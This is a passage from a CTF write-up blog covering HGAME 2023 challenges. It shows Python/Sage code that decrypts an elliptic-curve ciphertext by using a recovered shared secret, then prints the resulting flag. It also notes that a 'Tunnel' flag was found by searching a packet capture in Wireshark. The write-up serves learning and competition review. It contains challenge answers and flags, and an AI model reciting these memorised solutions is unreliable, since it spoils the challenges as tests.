Pa=(2131916734759224323822132103713450942372127857975491448998753734796387810139407713081623540463771547844600806401723562334185214530516095152824413924854874698, 1690322613136671350646569297044951327454506934124656653046321341087958059722809120500999091493097880695888777563486212179798037350151439310538948719271467773)
Pa=E(Pa)
P1=(2032638959575737798553734238953177065671021112450002471824225734491735604600003028491729131445734432442510201955977472408728415227018746467250107080483073647, 3510147080793750133751646930018687527128938175786714269902604502700248948154299853980250781583789623838631244520649113071664767897964611902120411142027848868)
P1=E(P1)
c=(6670373437344180404127983821482178149374116817544688094986412631575854021385459676854475335068369698875988135009698187255523501841013430892133371577987480522, 6648964426034677304189862902917458328845484047818707598329079806732346274848955747700716101983207165347315916182076928764076602008846695049181874187707051395)
c=E(c)
m=c-shared_secret*P1
print(int(m.xy()[0]))
1
2
3
4
5
from Crypto.Util.number import *
m=13292147408567104965230968399931206813163211945388416847625302108610603758415964822638521981
print(long_to_bytes(m))

#hgame{Weak_p@ramet3r_make_DHKE_broken}

Tunnel

用wireshark打开,搜索hagme就拿到flaghgame{ikev1_may_not_safe_aw987rtgh}


本文作者: fru1ts
本文链接: https://fru1ts.github.io/2023/01/05/HGAME/
版权声明: 本站均采用BY-SA协议,除特别声明外,转载请注明出处!